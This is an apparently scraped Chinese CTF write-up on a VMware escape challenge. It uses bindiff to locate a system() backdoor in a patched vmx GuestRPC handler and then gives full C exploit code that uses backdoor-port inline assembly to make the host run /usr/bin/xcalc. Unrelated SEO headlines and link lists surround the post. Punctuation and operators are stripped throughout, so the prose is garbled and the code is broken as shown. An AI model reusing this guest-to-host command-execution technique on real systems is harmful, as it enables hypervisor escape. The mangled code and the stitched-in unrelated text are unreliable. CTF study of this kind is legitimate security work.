当前位置: 首页 > news >正文

win7系统可以做网站吗企业官方网站应该怎么样建设

win7系统可以做网站吗,企业官方网站应该怎么样建设,电子商务网站开发方式,网络营销与推广方法文章目录 环境搭建漏洞点exp 环境搭建 ubuntu :18.04.01vmware: VMware-Workstation-Full-15.5.0-14665864.x86_64.bundle 这里环境搭不成功。。patch过后就报错#xff0c;不知道咋搞 发现可能是IDA加载后的patch似乎不行对原来的patch可能有影响#xff0c;重新下了patch不知道咋搞 发现可能是IDA加载后的patch似乎不行对原来的patch可能有影响重新下了patch发现可以了但没网。。。。但好像自带vmtools了。。 漏洞点 bindiff 对比原来的vmx和patch过的发现存在如下修改 被替换为nop并且留了后门 sub_16E220函数开始时通过调用sub_5463D0(1LL)获取一个值v2,用于决定switch语句执行哪个case。对应RPC各个通信 打开 GuestRPC 通道 发送命令长度 发送命令数据 接收回复大小 接收回复数据 发出接收结束信号 关闭频道 bindiff不同位置其对应的反编译代码属于case 4 发现其中有关于channel的字符串GuestMsg: Channel %u, Not enough memory to receive a message加上函数开头的switch case判断number的范围为0-6很容易联想到这就是GuestRPC Handler是处理 RPC 通信的代码一个RPC指令处理函数下面代码只包含了漏洞所在的部分可以看到这个路径是当subcommand0x4也就是Receive reply data的处理部分 case 4u:v49 sub_16DE80(6LL, 7LL);v8 (_DWORD *)v49;if ( !v49 )goto LABEL_62;LODWORD(v9) *(_DWORD *)v49;if ( *(_DWORD *)v49 ! 3 )goto LABEL_20;if ( *(_BYTE *)(v49 8) 1 )goto LABEL_48;if ( !*(_QWORD *)(v49 56) )goto LABEL_90;if ( (sub_5463D0(3LL) 1) 0 ){v11 (__int64)v8;goto LABEL_81;}v36 (unsigned __int64)stru_20000;sub_546480(2LL, stru_20000);v50 (unsigned int)v8[12];v51 (unsigned __int16 *)(*((_QWORD *)v8 7) (unsigned int)v8[11] - v50);if ( (_DWORD)v50 2 ){v36 *v51;v37 (_BYTE *)(dword_0 3);sub_546480(3LL, v36);v52 v8[12] - 2;v8[12] v52;}else if ( (_DWORD)v50 3 ){v37 (const char *)*((_QWORD *)v8 7);system(v37);v52 v8[12] - 3;v8[12] v52;}else{if ( (_DWORD)v50 1 ){v36 *(unsigned __int8 *)v51;v37 (_BYTE *)(dword_0 3);sub_546480(3LL, v36);v52 v8[12] - 1;}else{v36 *(unsigned int *)v51;v37 (_BYTE *)(dword_0 3);sub_546480(3LL, v36);v52 v8[12] - 4;}v8[12] v52;}if ( !v52 )*v8 4; LABEL_31:v44 sub_533C10(v37, v36, v9);v19 0x10000LL;*((_QWORD *)v8 2) v44;goto LABEL_12;其中 need 表示还未发送数据的长度在 need 4 的时候每次发送 4 字节最后特判了 need 4 的情况。而后门函数位于 need 3 的判断中。 另外通过调试发现 state 3 出现在 host 向 guest 回复数据的阶段因此我们需要让 host 向 guest 回复数据长度模 4 余 3 同时 buf 恰好是要执行的命令。 通过调试发现回复数据长度为 info-set guestinfo.x 后面跟的字符串长度加 2并且执行的命令就是这个字符串前面拼接了两个字节包含一个字符1 recv rpc data中有提到rpctype前两个字节表示成功还是失败 在 Recieve RPC reply length 中提到过应答数据的前两个字节始终表示 RPC command 的状态。最最终need的总个数就是 info-set guestinfo.x 后面跟的字符串长度加2即1 字符串buf就是这个的起始地址所以system执行指令会执行1 字符串为了执行字符串中的指令所以字符串刚开始有个来结束最后我们保证字符串长度加2模4余3就好了也就是字符串长度模4余1 这里已经包含一个字符了所以保证剩下的是4的倍数就行了这里相当任意命令执行了因为可以通过添加空格来填补最后添个或者不然虚拟机出问题 然后是执行命令的参数前面固定为1我在后面加了个;来执行下一条命令因此最终去执行的命令就是/usr/bin/xcalc exp #include ctype.h #include stdint-gcc.h #include stdio.h #include stdlib.h #include string.hvoid byte_dump(char *desc, void *addr, int len) {uint8_t *buf8 (unsigned char *) addr;if (desc ! NULL) {printf([*] %s:\n, desc);}for (int i 0; i len; i 16) {printf( %04x, i);for (int j 0; j 16; j) {i j len ? printf( %02x, buf8[i j]) : printf( );}printf( );for (int j 0; j 16 j i len; j) {printf(%c, isprint(buf8[i j]) ? buf8[i j] : .);}puts();} } void channel_open(int *cookie1, int *cookie2, int *channel_num, int *res) {asm(movl %%eax,%%ebx\n\tmovq %%rdi,%%r10\n\tmovq %%rsi,%%r11\n\tmovq %%rdx,%%r12\n\tmovq %%rcx,%%r13\n\tmovl $0x564d5868,%%eax\n\tmovl $0xc9435052,%%ebx\n\tmovl $0x1e,%%ecx\n\tmovl $0x5658,%%edx\n\tout %%eax,%%dx\n\tmovl %%edi,(%%r10)\n\tmovl %%esi,(%%r11)\n\tmovl %%edx,(%%r12)\n\tmovl %%ecx,(%%r13)\n\t::: %rax, %rbx, %rcx, %rdx, %rsi, %rdi, %r8, %r10, %r11, %r12, %r13); }void channel_set_len(int cookie1, int cookie2, int channel_num, int len, int *res) {asm(movl %%eax,%%ebx\n\tmovq %%r8,%%r10\n\tmovl %%ecx,%%ebx\n\tmovl $0x564d5868,%%eax\n\tmovl $0x0001001e,%%ecx\n\tmovw $0x5658,%%dx\n\tout %%eax,%%dx\n\tmovl %%ecx,(%%r10)\n\t::: %rax, %rbx, %rcx, %rdx, %rsi, %rdi, %r10); }void channel_send_data(int cookie1, int cookie2, int channel_num, int len, char *data, int *res) {asm(pushq %%rbp\n\tmovq %%r9,%%r10\n\tmovq %%r8,%%rbp\n\tmovq %%rcx,%%r11\n\tmovq $0,%%r12\n\t1:\n\tmovq %%r8,%%rbp\n\tadd %%r12,%%rbp\n\tmovl (%%rbp),%%ebx\n\tmovl $0x564d5868,%%eax\n\tmovl $0x0002001e,%%ecx\n\tmovw $0x5658,%%dx\n\tout %%eax,%%dx\n\taddq $4,%%r12\n\tcmpq %%r12,%%r11\n\tja 1b\n\tmovl %%ecx,(%%r10)\n\tpopq %%rbp\n\t::: %rax, %rbx, %rcx, %rdx, %rsi, %rdi, %r10, %r11, %r12); }void channel_recv_reply_len(int cookie1, int cookie2, int channel_num, int *len, int *res) {asm(movl %%eax,%%ebx\n\tmovq %%r8,%%r10\n\tmovq %%rcx,%%r11\n\tmovl $0x564d5868,%%eax\n\tmovl $0x0003001e,%%ecx\n\tmovw $0x5658,%%dx\n\tout %%eax,%%dx\n\tmovl %%ecx,(%%r10)\n\tmovl %%ebx,(%%r11)\n\t::: %rax, %rbx, %rcx, %rdx, %rsi, %rdi, %r10, %r11); }void channel_recv_data(int cookie1, int cookie2, int channel_num, int offset, char *data, int *res) {asm(pushq %%rbp\n\tmovq %%r9,%%r10\n\tmovq %%r8,%%rbp\n\tmovq %%rcx,%%r11\n\tmovq $1,%%rbx\n\tmovl $0x564d5868,%%eax\n\tmovl $0x0004001e,%%ecx\n\tmovw $0x5658,%%dx\n\tin %%dx,%%eax\n\tadd %%r11,%%rbp\n\tmovl %%ebx,(%%rbp)\n\tmovl %%ecx,(%%r10)\n\tpopq %%rbp\n\t::: %rax, %rbx, %rcx, %rdx, %rsi, %rdi, %r10, %r11, %r12); }void channel_recv_finish(int cookie1, int cookie2, int channel_num, int *res) {asm(movl %%eax,%%ebx\n\tmovq %%rcx,%%r10\n\tmovq $0x1,%%rbx\n\tmovl $0x564d5868,%%eax\n\tmovl $0x0005001e,%%ecx\n\tmovw $0x5658,%%dx\n\tout %%eax,%%dx\n\tmovl %%ecx,(%%r10)\n\t::: %rax, %rbx, %rcx, %rdx, %rsi, %rdi, %r10); }void channel_recv_finish2(int cookie1, int cookie2, int channel_num, int *res) {asm(movl %%eax,%%ebx\n\tmovq %%rcx,%%r10\n\tmovq $0x21,%%rbx\n\tmovl $0x564d5868,%%eax\n\tmovl $0x0005001e,%%ecx\n\tmovw $0x5658,%%dx\n\tout %%eax,%%dx\n\tmovl %%ecx,(%%r10)\n\t::: %rax, %rbx, %rcx, %rdx, %rsi, %rdi, %r10); }void channel_close(int cookie1, int cookie2, int channel_num, int *res) {asm(movl %%eax,%%ebx\n\tmovq %%rcx,%%r10\n\tmovl $0x564d5868,%%eax\n\tmovl $0x0006001e,%%ecx\n\tmovw $0x5658,%%dx\n\tout %%eax,%%dx\n\tmovl %%ecx,(%%r10)\n\t::: %rax, %rbx, %rcx, %rdx, %rsi, %rdi, %r10); }typedef struct {int cookie1;int cookie2;int num; } channel;void run_cmd(char *cmd) {channel cannel;int res, len;channel_open(cannel.cookie1, cannel.cookie2, cannel.num, res);if (!res) {puts([-] fail to open channel.);exit(EXIT_FAILURE);}channel_set_len(cannel.cookie1, cannel.cookie2, cannel.num, strlen(cmd), res);if (!res) {puts([-] fail to set len);exit(EXIT_FAILURE);}channel_send_data(cannel.cookie1, cannel.cookie2, cannel.num, strlen(cmd), cmd, res);channel_recv_reply_len(cannel.cookie1, cannel.cookie2, cannel.num, len, res);if (!res) {puts([-] fail to recv data len);exit(EXIT_FAILURE);}printf([*] recv len:%d\n, len);char *data malloc(len);memset(data, 0, len );for (int i 0; i len ; i 4) {channel_recv_data(cannel.cookie1, cannel.cookie2, cannel.num, i, data, res);}byte_dump(recv data, data, len );channel_recv_finish(cannel.cookie1, cannel.cookie2, cannel.num, res);if (!res) {puts([-] fail to recv finish);exit(EXIT_FAILURE);}channel_close(cannel.cookie1, cannel.cookie2, cannel.num, res);if (!res) {puts([-] fail to close channel);exit(EXIT_FAILURE);} }int main() {run_cmd(info-set guestinfo.x ;/usr/bin/xcalc ;);run_cmd(info-get guestinfo.x);return 0; }asm中的冒号 第一个冒号后的空字符串表示没有输出操作数。第二个冒号后的空字符串表示没有输入操作数。第三个冒号后的列表是被修改的寄存器列表,用于告知编译器哪些寄存器被嵌入的汇编代码修改了。
http://www.zqtcl.cn/news/859538/

相关文章:

  • 贵阳网站建设搜q479185700大学网站栏目建设
  • 开发网站找什么公司吗电影网站域名
  • 网站栏目设计怎么写黑龙江建设网官
  • 网站主页设计素材php企业门户网站模板
  • 管理外贸网站模板wordpress live-2d
  • 哈尔滨优化网站方法网站栏目功能分析
  • diy定制网站wordpress 做表格
  • 怎么建设个网站佛山网站设计
  • 饰品企业网站建设做网站管理系统
  • 网站制作的关键技术网站开发网页设计北京师范大学出版社
  • 南宁北京网站建设网站代理合作
  • 网站备案要多少钱包装设计接单网站
  • 涵江网站建设超市营销型网站建设策划书
  • 无锡定制网站建设织梦笑话网站
  • 网站开发的安全性原则潍坊 logo设计公司
  • 宜春市城乡规划建设局网站网站设计师联盟
  • 重庆施工员证查询网站广告设计专业认知报告
  • 网站建设费用要多少黑糖不苦还做网站么
  • 公司网站改版 目的好知网做网站
  • 华强北手机网站建设哈尔滨网站建设oeminc
  • 公司简介网站模板新浪云存储 wordpress
  • 阿里云个人网站建设威海建设集团网站
  • 湖南城乡住房建设厅网站中石化网站群建设
  • 网站关键词怎么做排名大连网站建设方案案例
  • 西安做网站上海建设资质审批网站
  • 平阳高端网站建设广州凡科公司是外包吗
  • 购物网站项目经验公司的八个主要部门
  • 绿色大气网站模板株洲58同城网站建设电话
  • 网站建设 总体思路福州建设高端网站
  • 做网站需要什么配置北京工信部网站备案查询